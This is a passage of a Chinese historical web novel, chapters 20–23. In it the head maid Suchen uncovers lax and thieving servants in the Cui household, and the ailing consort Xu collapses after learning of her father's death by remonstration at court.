素尘只觉得好笑,她安抚地看了眼那位焦躁的姑娘,回头问库管:“府里近来家用财钱不够用了?怪我怪我,竟不知咱们府里从何时开始如此节俭了,这送去其他府里的礼单里列的那些个奇珍异宝里怕是还有好几个药材呢!”
库管心里暗骂倒霉,赶紧上前一步把那家丁踹开,殷勤地说:“是这家伙脑子糊涂,满嘴喷……胡言乱语。”
他又凑到那婢女面前,想套近乎,却被那姑娘躲开。
“徐姨娘要药?马上让人出去采买!”
素尘冷冷看着他,原来府里药材是真的没了。
太原崔氏,堂堂世家之首,京中府里姨娘缺药?
她作为掌家管事,真想上去踹他一脚。
“库房药材竟然如此短缺,实是我的疏忽,”素尘懒得和他多说,“拿公子院里的送去给姨娘吧。”
小贪小利便也罢了,竟然在药材上动手脚。
若不是这次刺杀事件,府里药材这块怕是还要让他再贪久些。
那婢女拿了药,却不甚欣喜,只草草向她行了一礼便转身离开了。
素尘抬步跟上她,一路去了徐姨娘院里。
这处院子她来的少,也是顾及着这位姨娘病弱喜静,不好过多叨扰。
如今起了冲突,自然于公于私都要出面关心一下。
那姑娘一路没开口说话,素尘不主动搭话,她也就一直闭着嘴往前走。
她停了脚步,将一直闭着的院门轻轻推开。
“姑娘请进。”她终于回头看素尘一眼,面上恭敬。
素尘笑着:“应该没有叨扰到姨娘休息吧?”
那姑娘也和她客套一下:“姨娘现在应当闲着,姑娘请吧。”
匾上刻字娟秀大气,怕是院里那位自己所题——玉茗轩。
跨过门槛,里边景色着实如门上木匾所言无二。
不大的院落,几色山茶花朵朵争相坠在枝头,不愧为十二花神之名。
只是……素尘垂眸看着满地落叶,却也不见有人出来打扫。
“姑娘进屋里坐吧。”
素尘踩着已经有些无处下脚的小路,自然地跟了上去,没有多言。
屋里药味扑鼻而来,比起其他夫人屋里满院熏香,这里确实一来便知是徐姨娘院子。
“咳咳……”
美人倚在贵妃榻上,手上虚虚捏着帕子捂嘴,低咳声里已经听得出她的虚弱体虚。
她眸中被咳得激出泪水,看向素尘的时候却毫不惊讶,反而藏不住的得逞意味。
“姨娘安。”素尘屈膝行礼。
一直沉默的婢女却笑出声来,这位体弱多病的徐姨娘捂嘴轻笑:“那位所言不虚,素尘姑娘果然来了。”
20. 第 20 章
药香袅袅,屋内一点儿熏香气都没有,这气味从何而来,怕也不用猜测了。
素尘看着眼前的女子,忽然不知该作何反应。
徐姨娘是前家主在世时的爱妾,虽未亲眼见过,但自素尘进府后便总听到她的传闻。
虽是七品谏官徐大人次女,却与太原崔氏家主在中秋灯宴上相识相爱,入府后更是与荥阳郑氏嫡女出身的正妻主母分庭抗礼,各分春秋。
两院相争,如今主母和家主却在变故中撒手人寰,独留下她这位病美人关上门来度过余生。
素尘看着她眼里得逞的狡黠,心里明白今日怕是故意来库房等她的,但她也生不出气。
“姨娘这是何意?”
徐姨娘开口,还没等说话就猛得咳了起来。脸上红涨痛苦,旁边婢女熟练地跑到她身后为她拍背顺气。
她费力喘着气,抬眸和素尘对视:“今日确实是挑着姑娘在库房时去的,您不会怪罪吧?”
她态度和缓温柔,甚至称得上过于温柔了,竟与一位下人用敬语。
素尘忙摆手:“徐姨娘不必如此抬高奴婢,短了府里药材,本就是我监管不当,此次是来给姨娘赔罪的。”
那位婢女看徐姨娘好些了,便出去端了碗煎好的药来。
素尘站在一旁,看着那碗汤药,眉毛轻轻一皱,闻着气味怕是苦极了。
但徐姨娘就着婢女侍奉的动作,一口一口低头轻抿,仿佛是在喝什么鲜汤般。
不知过了多久,那碗汤药终于见了底。
素尘摸到袖口里适才从公子房里顺来的果脯蜜饯,赶紧把它拿出来。
“姨娘吃这个清清口吧。”
徐姨娘看着她手里的那用油纸包着的小玩意,眼里闪过几分笑意:“早就不觉得苦了,原来现在小姑娘们时兴配着药吃的是这种果脯啊。”
她觉得有趣,便让旁边婢女拿过来:“碧珠,拿过来。”
碧珠从素尘手里接过油纸,徐姨娘捻起一枚,送进口里。
她似乎很喜欢笑,自素尘进屋后便没停过脸上的笑容。
但素尘没有忘记她适才说的话,执拗地问道:“让姨娘引奴婢过来的是何人?”
徐姨娘歪头,故作虚弱。虽然她本身面色就苍白得不需要装了。
但素尘视线不移,她也只得认真回答。
“是一个愿意帮我的人,”她不愿透露具体姓名,却也不想敷衍素尘,“且也会愿意帮助你的人。”
她打着哑谜,忽然补充一句:“当然,前提是你对她有用。”
素尘直白地回复:“看来不是什么纯良的大好人。”
她偶尔会露出自己有些恶劣嘴坏的一面,但近日似乎愈发多了起来。
听着她的话,徐姨娘笑了起来,虽然会停下来咳几声:“咳……是啊哈哈哈哈哈哈……”
徐姨娘看向她的脖颈处,神色莫测,却没有多说些什么。
素尘主动开口,赞她院里景色:“‘玉茗轩’是姨娘所题的吧?果真是‘钗头玉茗妙天下,琼花一树真虚名’。要不是今日进来叨扰,还真不知府里还有如此山茶花景。”
徐姨娘听到这话,似有几分怅然神态,但还是撑着精神说:“若是喜欢,便摘一些吧。你头上妆容太素净了,若是配上一朵粉色茶花,怕是衬得人比花娇。”
瞧着她聊起妆容打扮得心应手的模样,窥得见几分当年姿态。
说起这话,素尘自然不只是为了聊聊花,她委婉地开口:“院里洒扫的奴仆呢?适才院景唯一不好之处便是落叶枯枝怕是积了有段时间了。”
玉茗轩虽不甚显眼,但素尘清楚记得院里有五个洒扫婢子。
她话一说完,屋门外忽然发出一点动静。
“咳……这也是我这次请姑娘来的原因之一”徐姨娘眉间染上几分忧愁,“做事懒怠便也罢了,近来我身子愈发不适,恰另一位贴身侍婢翠银告假探亲未归,被吵的有几分心烦了。”
徐姨娘瞧她了然,便疲累地沉默下来。
素尘估摸着时间,也不再叨扰:“今日之事确是我失职,往后若再有这些情况,直接来找我便好。”
“那边多谢姑娘帮忙了。”
素尘看着闭上眸子的女子,心里还是暗叹美人果真是不败岁月。
鼻尖充盈的草药香随着风吹,立马就消散了。
只是院里还是那副春意盎然却无人打理模样。
她看了碧珠一眼,见她向南边耳房努嘴,便径直走到那屋外。
院里人气稀少,分来的近十个奴仆怕几乎都在里边。
她们低声讨论的声音透过薄窗传出来,素尘听着她们的话,自己今日来,怕是让她们慌了神,三句不离她。
“那素尘……”
听到这里,素尘抬手将虚掩着的门推开:“呦,还给我留了个门啊?”
碧珠见她这模样,顿时来了劲,不像平时那般气急败坏,反而学着素尘摆出那副装腔作势的模样。
那八个有老有小的仆从见她进来了,惊得哑了声。
尤其是那最眼熟的老嬷嬷。
素尘在厨房外经常见到她,本以为是自己记错了,原来还真是玉茗轩的。
她们拿着板凳围坐在炭盆前。
素尘用脚勾来一条长板凳,往她们里面一挤,邀请碧珠坐下。
两人穿戴整洁,虽是不甚华丽,但在这群不知何时才起床的刁仆之间,还是算的上格格不入。
屋里沉默着,尤其是素尘捻起盆边碳灰:“难怪这么少碳灰,原来是给姨娘送的银炭。”
旁边碧珠恍然大悟地凑过去看:“难怪今年府里送来的炭少了些,真神奇!”
她们两个一唱一和,你方唱罢我登场,屋里其余八人不敢言语。
只是面上毫无悔意,分明全是不服。
那老嬷嬷刚开口想说话,就被素尘抢了先:“玲嬷嬷,我记得你。”
她说的突然,虽明知不可能,但这老仆心里难免升起几分期待:“姑娘记得……”
“自然记得,年初发红封时,您是第一批来的。我还记得您指点账房侍奉庭院草木呢。”素尘指着外面,看着她,“莫非……这枯枝落叶也是您侍弄茶花的手段?”
玲嬷嬷被这么一问,脑子终于转不过来了,竟想点头答是:“是……”
她蠢得可笑,碧珠嗤笑一声,提醒道:“那嬷嬷这方法着实稀奇。”
旁边七个人眼见玲嬷嬷要揽下所有责任,还没松一口气就又吓得对视几眼。
她们其中一个柳眉杏仁眼的女子眯眼,示意另外几个人闭上嘴。
素尘自然将这一切尽收眼底,也学着她的模样和碧珠使眼色。
本来在气头上的碧珠没忍住,噗嗤一声笑了出来。
跟在徐姨娘身边久了,她的性子养得愈来愈安静,要不是这些刁奴蹬鼻子上脸,怕是还要再忍气吞声久一些。
她开怀大笑的模样倒是让那几人更加不敢多言
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。
今日这碧珠怕不是失心疯了,她们可不想惹她。
“今日我来也不是过来和你们一起烤火闲聊的,”素尘懒得和她们多说,把逗趣的话说完,面上肃穆起来,“你们说吧,是谁玩忽职守了?说实话吧,我也好给你们在主子那里美言几句。”
她捡起旁边夹炭的钳子,往火盆里随意挑拣了一下,扰得盆里火花四溅,险些燎了她们的裙摆。
大家都在躲,只有素尘和碧珠二人淡然处之。
她神色平静,用那钳子一下一下敲击着盆边,看着里面火花跳跃。
“是她。”有年幼的婢子扛不住压力,指着那位杏仁眼的。
“你胡说什么!小心我撕烂你的嘴!”女子声音尖锐。
场面混乱,素尘挑眉。
要看那杏仁眼要跨过盆去拉扯那位小婢子,素尘故作无意地抬了抬钳子。
“啊!”那位杏仁眼失身惊叫,不停地拍打裙摆,“我开年刚裁的裙子!”
那位小婢子躲过一劫,赶忙跑到角落,瞪着她:“就是你!就是你!是你不让我去扫院子的,每日让我去为你端茶倒水!”
她们狗咬狗,碧珠脸上尽是痛快之色。
她年纪不大,也才二八年华,却能忠心耿耿地陪在徐姨娘身旁。
素尘面上神色不变,心里回忆着这位姑娘是何时入的府。
她进府时,徐姨娘已经失了势,无利可图,也不是徐姨娘施恩进府,如此忠心究竟是为何呢?
素尘不觉得真有人可以免俗,因为自信如她,也没有因为单纯的救命之恩就对公子全心全意。
她求的是命,一个能体面活下去的机会……
素尘忽然脑子一闪。
“机会?机会!”
她声音不大,称得上喃喃自语。
但坐在她身旁,不自觉靠近她的碧珠听见了。
“怎么了?”她低声问。
素尘安抚地摇头,但眼里有了几分算计。
至于另一边的那些人,早就互相谩骂起来。
本就只是一起偷懒的关系,心里怕早就有了嫌隙。
素尘听着,心里把这些互相撕咬的话记了下来。
见时间差不多了,已经烤得暖暖的双手拍了两下,让那些人闭上了嘴。
她站起来,开门,转头和后面跟上的碧珠说:“把门关上。”
碧珠一听,心领神会。
立马趁她们没反应过来时就将门关上,无论里边如何敲门,她都拼命地堵在那里。
听见动静的徐姨娘下床开窗瞧过来,马上就关了窗。
再看见她,便是见她开门费力扔了件铁物过来。
素尘捡起,没忍住笑了出来。
“呦,姨娘怎么知道这里要锁?”
徐姨娘才动了几步,额间已经浮了一层薄汗。
她没力气回答,也不肯回床上休息,只是执拗地扶着门框站在那里看着。
素尘利落地锁起那间耳房,将钥匙塞到碧珠手里。
“奴婢先告辞了,明日一早便有人来把她们带走。”
徐姨娘静静地看着她,分明脸上苍白虚弱,但还是瞧得出几分生气。
“素尘姑娘看起来不似先前苦恼了,”为了让她听见,徐姨娘声音不小,“姑娘可是想通了什么?”
素尘走到院门,让碧珠看好她们,听见姨娘这话,她回头笑笑:“若是您不把背后之人告诉奴婢,那就不告诉您。”
21. 第 21 章
玉茗轩避世多年,如今这么一闹,满府的眼睛都看了过来。
素尘见这么一来一回,时辰已经有些晚了,便打算直接回院子里,明早再把她们打发出去。
但还不等她说,几个粗使嬷嬷便匆匆赶来。
“见过姑娘。”她们见她过来,殷勤地问好。
素尘不动神色地看了她们这气势汹汹的模样,温声询问:“你们这是……”
这个方向只有玉茗轩吧。
那些嬷嬷都是几个姨娘院子里的,如今这个时间点过来……
素尘想起那人咳得泪眼婆娑,只好帮她试探这些人的来意。
“嬷嬷?”
排头的嬷嬷状似同仇敌忾地说:“姨娘们听说了玉茗轩的事,虽然这些年往来的少,但立马就让奴婢们过来帮忙了。”
后面嬷嬷也有机灵的,做出挽袖子的动作:“不消姑娘吩咐,咱们就将她们拿下!”
素尘挑眉,只点了点头,目送她们离去。
她只是一个奴婢罢了,若是各位姨娘的意思,自己也不能拿她们怎么样。
后面发生什么都和她无关,不过是顺其自然罢了。
转身,嘴角笑意轻松。
府里墙角看过去的天愈发暗了,各个院子里的婢女们挑着点亮的灯笼,出来挂在门前。
夜色还未完全降下,这府墙里却处处亮起星光。
素尘趁着这些光亮还不甚显眼,加快脚步往公子院走去。
无名木匾独独未被照亮。
素尘进了院,用长长的木杆提起灯笼回身走出来。
公子没回来,院里只剩她一个。
看着灯笼在杆上晃动,天色却已暗到她挂不上屋檐处的钩子上。
“这灯笼……”素尘叹了口气,果然还是晚了一步。
虽有些吃力,但她挂了这么几年,不至于……
“挂上了。”熟悉的声音从身后响起,那人胸膛与她隔了些距离,却扶着她的手,将那灯笼挂了上去。
体温慢慢传了过来,他也发现她手上不甚明显的颤抖。
素尘赶紧往前走一步,与身后的人拉开距离。
“公子今日怎么回得这般晚?”素尘状似无意地问着寻常话,目光却不动声色地看向他的袖口。
他着朱袍,袖口却比其余处暗了些。
崔明安想问问她是不是冷了,但既然人已经发了话,也就不再多说。
晚些时候让她再拿几匹布去做些保暖的衣裳来就是了。
他抬腿跨过院门槛,边走边回她的话:“今日早朝时出了些事,陪着处理了一下,耽误了御史台的事儿。”
身后只跟着云竹一人,整日侍奉他的文竹却不见身影。
素尘敛目低头,跟在崔明安身后进了府。
崔明安今夜一反常态,平日里总要去书房坐一会,这会却直接回了寝屋。
他推开房门,让素尘进来沏杯茶来。
坐于桌前,素尘望着在炉前滚滚冒烟的沸水,烟雾中已经换上青绿常服,飘飘渺渺,若隐若现。
茶匙一倾,沸水上伴着白烟的缕缕茶香萦绕在屋里。
素尘将茶壶提起,为茶杯添上茶。
“公子,请用。”她将这瓷杯放到崔明安手边。
崔明安头上玉冠未摘,乌发尽束其中。
他看着杯中茶水,轻轻地摇晃。
“今日朝中发生之事……我讲给你听听吧。”他的眸子微闪,好似又什么情绪藏于其中。
朝中发生之事,本不应该说与她听。
如今怕是……素尘不知为何有些不安。
她想起来外边突然增多的乞儿,想起城南的秘密,又想起了府里大大小小的事……
素尘等着他接下来的话,神色平静。
崔明安继续晃着他杯里的茶,语气平缓,仿佛在说一件小事:“徐谏官今早去世了。”
素尘身体一晃,立刻稳住心神。
“今日徐姨娘……”她不知道该如何,下意识地想求助于崔明安。
他一定有办法把这件事情处理好。
但她和他对视的一瞬,忽然住了嘴。
崔明安眼神温柔,看着她:“她怎么了?”
温柔,但冷漠。
素尘袖中手指缩了缩,面上恢复了平静:“奴婢疏忽,今日才知姨娘院里奴仆刁蛮,遂处理了一番。”
“不怪你,玉茗轩偏僻,又鲜少走动。”他手里茶水依旧未一滴未少,只是不停地在杯里晃动。
“徐大人突然……怕是姨娘要伤心一阵。”
崔明安叹了口气:“陛下今日也是给我们丢了个大麻烦……不然也不至于各位谏官血溅当场。”
徐大人今日是为死谏。
素尘心里蒙上一层灰色,徐大人在京中名声算不得好,分明年轻时科举探花,风光无两。当了官后却守着谏言小官一职,懦弱无能,胆小怕事。不仅没有了当年探花才子的张扬耀眼,又有违谏官不惧权势的风骨。
甚至在女儿入崔家时,他也不敢露面。这样一个人,在权势动荡里躲了几十年,却在今日撞柱死谏?
素尘不知该说些什么,只能扯出一抹笑。
“觉得害怕就不要强迫自己笑,有些难看。”崔明安看着她僵硬的模样,才动了他尊贵的嘴巴,轻抿了一口茶水。
已经凉了。
他放下茶杯,疲惫地说:“和你说这件事不是为了吓你的,只是想让你清楚以后,好去安排徐姨娘那边的事……你别怕。”
素尘侍奉他到了晚上休息以后,她坐在厢房暖阁里,半闭着眸子躺在小榻上。
她翻身,听到公子带着倦意的声音响起:“你还是害怕今日的事?”
素尘一惊,开口回答:“不是,公子先睡吧。今夜守夜,本就不能睡沉。”
“你睡吧,不用担心。”
那边传来了稳定的呼吸声,素尘却怎么都睡不着。
今夜无风,外面的树趁着月光将斑驳影子映在纱窗上。
素尘睁眼看着它,一动不动。
她曾见过和这个暗沉可怖的图案,而且在她脑子里挥之不去。
那是曾经鲜血溅到她衣裙上的图案。
她其实真的不怕死人,更是不怕尸体。
若是害怕这些,那在她逃难的那些年早就被吓死了。
死人如何,尸体又如何?她又不是没见过。
她见得多了去了。
真正让她睡不着的,却是将人逼死的活人。
徐大人的死,陛下说的事
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……崔明安都没有细说。
素尘就这么闭上眼睛,等到了天亮。
崔明安起身的动静一出,她的眼睛马上就睁开了。
“公子早安。”守夜的女子和衣而睡,还不等一会,就已经抱着银盆进来为他洗漱。
崔明安看着捧着帕子为他擦拭左手的女子,温声吩咐:“今日我直接上早朝了,不在府里用早膳食。”
素尘了然,侍奉他漱口净面后,便从柜里拿出作夜整理熏好香的官服。
繁杂的衣饰穿戴起来花了些时间,但素尘耐心手巧,不算麻烦。
外面的云竹已经持剑在院里等候,文竹不知回来没,不见踪影。
昨日的事在今日却无人提起,素尘看着崔明安离去的背影。
既然崔明安没和她说,那她也只能等消息从宫里传出来了。
至于徐大人的事,素尘头疼地扶额叹气:“今日怕是让府医在玉茗轩外等着了。”
她提起裙子,开始着手府里各项事宜。
膳房里飘出的香气让各院侍婢们从何个方向走过来,她们端起盘子,看到坐在门口的素尘,面上皆是带着笑:“姑娘好。”
素尘一个个回了笑和招呼,继续听厨房里的嬷嬷和她讲近日菜食。
“已经按您的吩咐,问府医要了方子给老夫人和姨娘那边送了和补药相配的汤药。”嬷嬷手里拿着几张药单,纸张上闪着崔府家徽的暗纹。
素尘确认了药单上府医的署名,又仔细认了几遍字迹,才开口笑道:“麻烦嬷嬷费心了,这是府医给的单子,又是给主子们吃的,可要仔细看着些。”
经手这些汤药的奴婢们都被嬷嬷记在了上面,每一个步骤都没少。
素尘接过这份名单,看着端着早食出来的碧珠,将纸揣进袖里,便告辞。
“碧珠姑娘!”她快步走到碧珠身边,看着她手里的食盘。
不是什么值得当心的东西,甚至可以说得上简单了。
玉碗里盛着燕窝八宝粥,边上小碟摆着几块精致的甘露山药糕和豆沙包。
素尘收回目光,陪着她回到玉茗轩。
里边的那些粗使嬷嬷和奴婢已经换了一批,都是些素尘先前刚选进府里的人。
徐姨娘身子虚弱,坐在被纱帘圈起的亭台上,直直地看过来。
亭边尽是重新修剪好的山茶花,衬得本就美丽的女子愈发动人。
她对着素尘微笑,让人拿了个椅子过来。
“姑娘吃了吗?”徐姨娘端起那粥碗,轻轻地用勺子挑起一口。
“吃了,姨娘今日胃口还不错?”素尘听厨房说过玉茗轩每次拿的吃食几乎都有剩,尤其是姨娘的早食,几乎每日都会分给下人。
喝粥的女人动作未停,等咽下嘴里的东西之后才开口:“确实不错,今日身体也爽利了不少。”
看着她气色确实比昨日好上许多,素尘本来想找机会说的话一时间卡在咽喉处。
既然说不出口,素尘起身,随口找了个借口:“那奴婢便去忙了,您好好休息吧。”
徐姨娘没有多说,只是脸上笑容在她离去的时候淡了下来,
门关上了,碧珠的惊叫声响起:“姨娘!”
素尘没有听见,院里鲜血滴落在白色山茶花的声音。
22. 第 22 章
今年春天的温暖来得比往年迟得多,后来的很多年里,素尘都忘不掉这个春天。
她关上了院门,似是听到了什么声音,但不甚清楚。
一阵春风吹过,却不带一丝暖意。
素尘走到门房处,接过门房整理好的拜帖及书信。
还未看几眼,小门那儿走进来一个瞧着上了些年纪的女子。
过了这么多年,府里人还是习惯称她为翠银娘子。
素尘只消一眼,便认出她来。
女子用一根木簪将乌发束在头后,干练十足。眉眼上挑,斜着眼睛看过来时,素尘莫名觉得被她看穿了。
她从外边回来,面上却似什么都未听说一般平静。
素尘心里留了些心眼,向她搭话:“翠银娘子可是探亲回来啦?”
翠银脚步停下,换上笑脸迎她:“是呢,家里人还给拿了点家中乡村粗菜。”
包袱里鼓鼓囊囊,她的话里似乎没什么奇怪的情绪。
素尘垂下的睫毛抖了抖,目送她离开。
一旁的门房伙计看着她们俩之间的一来一往,小声感叹:“翠银娘子不愧是和徐姨娘一起长大的,偶尔就让她回徐府看看父母。”
素尘听着这话,动作一顿:“翠银娘子的家人是……”
门房不知她怎么忽然这么问,慌忙地说:“她是徐府的家生子啊。”
“坏了!”素尘脸色一变,将拜帖放回桌上,“你去一趟府医那儿,叫他来玉茗轩一趟。。”
手里随意把玩的木珠还没放下,脚步加快,心里不住地打鼓。
宫里怕是想将此事压下,徐府的丧帖迟迟未发过来。
今日看翠银娘子谨慎模样,怕是情况比她想的要复杂许多,如今徐姨娘的身子估计受不住这消息。
翠银比她快了一步,但在素尘赶到时,她还未踏进院门。
翠银娘子无暇他顾,惊恐地看着门里情况:“小姐!”
她手里包袱掉落在地上,跌跌撞撞地跑了进去。顺着她的动作,后面的素尘才看清里面,她眸子紧缩。
徐姨娘面色惨白,虚虚看着手里的信纸,鹅黄色衣裙上被口里呕出的污血染成暗红色。
她听见翠银的声音,费力地抬起眸子,里面泪水顺着她的脸慢慢落下。
“小姐……小姐!”翠银扑到她的面前,将她护在自己怀里,颤抖的手为徐姨娘虚虚擦着泪和血,“不要吓我……”
素尘面色肃穆,让呆滞在一旁的婢女们动起来:“热水和帕子!府医到了!”
她的话一出,大家都动了起来。
刚赶到的府医马上把药箱放在一旁,为徐姨娘把脉。
院里一片忙活,被围起女人却气息虚弱,分明已经昏了过去,眼角却不住地浸出泪水。
素尘皱着眉头看着她们将徐姨娘抱回房里,才慢慢呼出一口气。
“嗯?”她蹲身将地上的信纸捡起,仔细看着上面的字,“……这是?”
上面写尽了徐大人的惨状!
“谁从门房那儿拿过来的?”她冷冷地问旁边站着的碧珠,她专门过去拿,却被这院里人抢先一步。
碧珠声音颤抖,带着哭腔:“没……没人拿……是有人放在院门的。”
她右手擦泪,左手指向院门处。
素尘深吸一口气,愤恨一般将手边木珠直接扔到地上。
触地的一瞬间,那木珠直接裂开来。
这是她前段时间在街边随意买的,也只是想着偶尔拿来消遣一下。
里面人还没甚动静,她也不想麻烦别人,便也只好憋着气默默将那碎块捡起来。
碧珠心里也着急,见她动作,也陪着她捡。
“不用麻烦。我自己来就好。”
“总得找点事做,不然我心里着急……”碧珠声音闷闷的,“也是我在门口发现的。”
素尘看着她,也知她心里难受。
原本她担心翠银从外面回来,会不小心说漏嘴,但她本来也没打算瞒着,只是这时机实在不妥。
“姑娘!”碧珠动作停下来,不知看到了什么,她几乎整个人都俯在地上。
素尘顺着看了过去。
厢房门终于被打开,唯一跟进去的翠银端着染红的热水出来。
她面上沉重,眼眶红润,怕是心里也不好受。
碧珠想说些什么,但马上被素尘摁住:“翠银娘子,姨娘如何?”
府医刚好出来,疲惫地摇摇头:“人是暂时没事,但一时气急攻心,身子本来就虚,如今怕是下床都难。”
碧珠舒了口气:“没事就好,没事就好。”
她看了眼适才碎珠掉落的地方,却不再多说。
“姨娘唤你进去。”翠银看着她,轻声开口。
她想将污水拿去后面倒掉,却被素尘抬手拦住:“娘子不急着倒,给碧珠拿着吧,陪着我一起进去。”
虽不知她何意,到已经失神的翠银也就听她的话做了。
素尘的话一向很容易让人相信她,也愿意听她的话。
因为她的眼神一直都这么温柔坚定,好像看透了一切却又怜悯众人。
翠银和她一起进了屋。
这次屋里气味不似昨日,分明比之愈发重,但就是盖不住屋里血气。
躺着的女人要不是睁开眼睛麻木地看着床幔上的玉坠子,她惨白的脸色像是一具尸体。
“你来了?”她视线未动,面上却扯出一丝笑意,“又要谢谢姑娘了。”
素尘屈膝行礼:“姨娘客气了,是奴婢应该做……”
“你今早过来是想说这个吧?公子和你说的吗?”她费力地用气音说着话,好不容易说完,又止不住地咳了起来,“咳咳咳……”
翠银心疼地上前为她拍背顺气。
“姨娘猜对了。”素尘叹气,她实在不知道怎么辩解。
她只是觉得当时不能说,若是知道她会看到这封信,还不如由她来说。
善意隐瞒和不顾她的身体直接说出,哪一个更残忍,她一时之间选不出来。
“我知道你的顾忌……”她抬起手,指着那个玉坠子,“我可以再麻烦你一件事吗?”
素尘看着她的动作,没出声。
“求你了,”徐姨娘声音温柔,仿佛是在与她撒娇,“满府只有你可以帮我。”
她说了这么多话,没有咳嗽打断,面色却肉眼可见得愈发苍白。
“您先说什么忙?”
“父亲遭此大难,府里突然失了主心骨,怕是如今整个徐府摇摇欲坠……
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”她突然喘不过气来,皱着眉头慢慢呼吸着,“我唯一能做的,只有把这些年攒下来的东西送回去。”
翠银知晓了她的意思,按照示意去房间的角落找出一个女匣子。
“这个……”
“奴婢出府也没有机会帮姨娘去徐府一趟。”
“有机会的。”徐姨娘指着那个玉坠,“你拿着这个,你到时候就知道了。”
素尘不想贸然答应这个没头没尾的请求,她知道如今徐府怕是一个大坑:“奴婢……”
“里面的东西分你五成,徐府只需应急就好。”
“……”素尘没有言语,直接出了门。
翠银抱着匣子,迟疑地看着徐姨娘。
徐姨娘猛烈地咳嗽起来,帕子上染出朵朵血花。
“咳……她答应了……咳咳咳!”女子又昏了过去。
外面的素尘确实默认了这个请求,但是心情还是有些复杂。
碧珠站在门口,手里还端着那盆。
她向素尘眨了眨眼,显然是在询问刚刚的事应当如何。
素尘挑眉,伸出手指放在唇间,示意她噤声。
她接过水盆,向一个洒扫奴婢走去。
“哗——”
“啊——”被污水泼了一身的奴婢尖叫出声,她跪坐在地上。
素尘居高临下地看着她,又温柔地蹲下身将她扶起,仿佛这盆水不是她手里泼出一般。
“素尘姑娘!这是作甚?”
素尘眨眼:“手滑手滑,没事吧?”
她和碧珠一人一边将她强拉起来。
听着动静的翠银出来,看着她们两个如此胡闹,但她却打算不动声色地装作没看见。
“娘子!评评理!”那位粗使奴婢向她求助,面上委屈愤恨。
碧珠沉不住气,直接揪着她的头发大骂:“是你!就是你!”
翠银不知发生了什么,刚刚分明那般偏心,却还是装作公平询问:“怎么了?姨娘在里面,还不快快小声些!”
她已经三十出头,看着比三人都要沉稳些。
那粗使奴婢仿佛找到救命恩人一般,慌忙拉着她:“奴婢也不知啊,突然就天降污水于奴婢身上。”
她的身上被打湿,散发着阵阵血腥味。
“翠银娘子看这里!”碧珠着急,带着她去刚才的位置看。
站着的时候不明显,但若是俯下身来,便可以借着光看见地上掉了个珠子。
和素尘的木珠有些相似,但却是一颗檀香佛珠。
“这又怎么了?”那奴婢更加觉得冤枉,“无妄之灾啊!”
“信纸上有一阵檀香味。”碧珠神色愤恨,看着她,“就是这个味道!”
泼水的人一直没说话,她只捏着碎珠,细细把玩。
碧珠和那人吵得有来有回,翠银看着素尘,眼神询问。
素尘耸肩,被吵得心烦。
那奴婢觉得委屈,也不顾屋里主人身体,大声尖叫:“啊!”
素尘只觉得莫名其妙,将那碎珠扔她头上。
正中额心。
“说委屈之前,自己闻闻身上沾上的味道。”碧珠捏着鼻子。
那人声音一哑,下意识闻了闻自己袖口。
“蠢货。”
23. 第 23 章
身后的吵闹声渐渐减弱,素尘抱着怀里接过的木匣子。
“姑娘!”碧珠的声音在身后响起,她似是被裙角绊了一下,又马上跑了过来,“那人……都听姑娘的话处置了,但是姨娘让我过来再和您道声谢。”
她重重地向她鞠了一躬,头上插着的珠钗随着她的动作垂置她的耳边。
素尘偏身避开这个礼,轻拍了拍自己怀里的木匣子:“不用谢,这次是有报酬的。”
她拿在手里没有打开过,但里边虽发出珠玉与木头相触的声音,却因塞得鼓鼓囊囊的反而多了几声沉闷。
都无需多看,她心里已经掂量出里边物什的贵重了。
碧珠没有多说,从怀里拿出素色帕子。
“这是……”素尘接过,虽用布粗糙廉价,但上边绣上的鸳鸯做工精细,怕是花了好一番心思。
她左右看看,确认了没人以后才小声说:“这是那小……人掉出来的东西,翠银娘子说您自有用处。”
素尘看着那帕子,上边的檀香味弄得呛人鼻子。
“我知晓了,谢过娘子了。”
碧珠年龄尚轻,又与徐姨娘一起待在着清净逼人的玉茗轩里,不清楚她和翠银二人之间打的哑谜。
素尘腾出右手,捻起掉落在她发间的一瓣山茶花瓣。
“哎呦,这怕是帮我低头捡珠子时落的。”素尘轻笑,她将那指尖花瓣随意放开,任它飘落在青石板旁的草地上。
那整府只开于玉茗轩的花瓣落在院外,任凭路过的春风吹过。
春风挟带着初春第一抹暖意,将女子的裙摆吹起,月白色裙摆层层叠叠,真如枝头山茶花般灿烂。
素尘看着手里的女匣子,上面雕刻的花纹精致漂亮,开口处已经磨得有些圆润,雕花却不显时间的流逝。
徐姨娘这份礼和心意,她还真不知道自己到底应该怎么送进徐府。
素尘袖口藏的玉坠膈着她腕处生疼,她却只能将它暂时放于此。
府里众位贵人,着实喜欢打哑谜。
她向前走着,一直走进公子院里。
崔明安出门前,已经让云竹把门前灯笼取了下来,就连院里掉下来的落花残叶也已经被每日进来洒扫的婢女清干净了。
拿着剪子过来修草的几个府丁没想到她这个时间会回来,皆是有些惊讶地看了过来。
素尘看着他们,摆手示意他们继续。
手里的雕花木匣一看就价值不菲,素尘作为崔府管事,手里拿着这么个木匣子确实算不得稀奇。
但那匣子瞧着就知是高门女子所用,素尘拿着这个进公子院里,也能引起他们的一些好奇。
素尘不动声色地进了房,房门一关,隔断了他们若有若无的打量。
那木匣子放在桌上,素尘抱起它想将它藏到自己的床下。
但就在她跪坐在地上,弓腰想俯身时,又直起身狐疑般看了眼门口处。
紧闭着,门缝处也堵的死死的。
她皱了皱鼻,眯起右眼仔细看了眼地缝,确定了外面没人偷看,才小心翼翼地推着木匣进床底。
但底下本来藏着的木盒终究还是宣誓了自己的主权,刚好抵住了这个精致的木匣子。
她低头看到了自己的那旧木盒。
起身叹口气。
分明有些凉的天气,这一通折腾下来,她头上浸出了一层薄薄的汗珠。
素尘歪头想了想,实在有些苦恼。
说实话,她愈发觉得刚刚自己不应该心软的。
就像听到她心里话似的,手里匣子忽的因着松动掉落的缘故晃了下,里边不知是首饰什么的金银珠玉相撞出声。
“好吧,富贵确实迷人眼啊。”
她起身,环顾厢房一周。
当触及角落摆着的那些精致锦盒时,眼睛一亮。
再出门时,院里的府丁们已经出去了。
她怀里的木匣子已经被收拾妥当,瞧着天色已经不早了,她心里的打算怕是要再找机会。
素尘算着时间,先是撑起杆子把灯笼挂了上去,瞧着烛火在里边摇晃,试图照亮本来还未暗下来的天色。
耳朵动了动,她大步进了院门,留给来人的只剩下一角衣裙。
已经飞快地进了书房的素尘精准地拿起书房里的那本账目。
“怎么了?”推门进来的人看着她,上下扫了她一眼,神色淡漠。
素尘抬眸,向他故作轻巧地笑了下:“公子,今日怎回得这般早?”
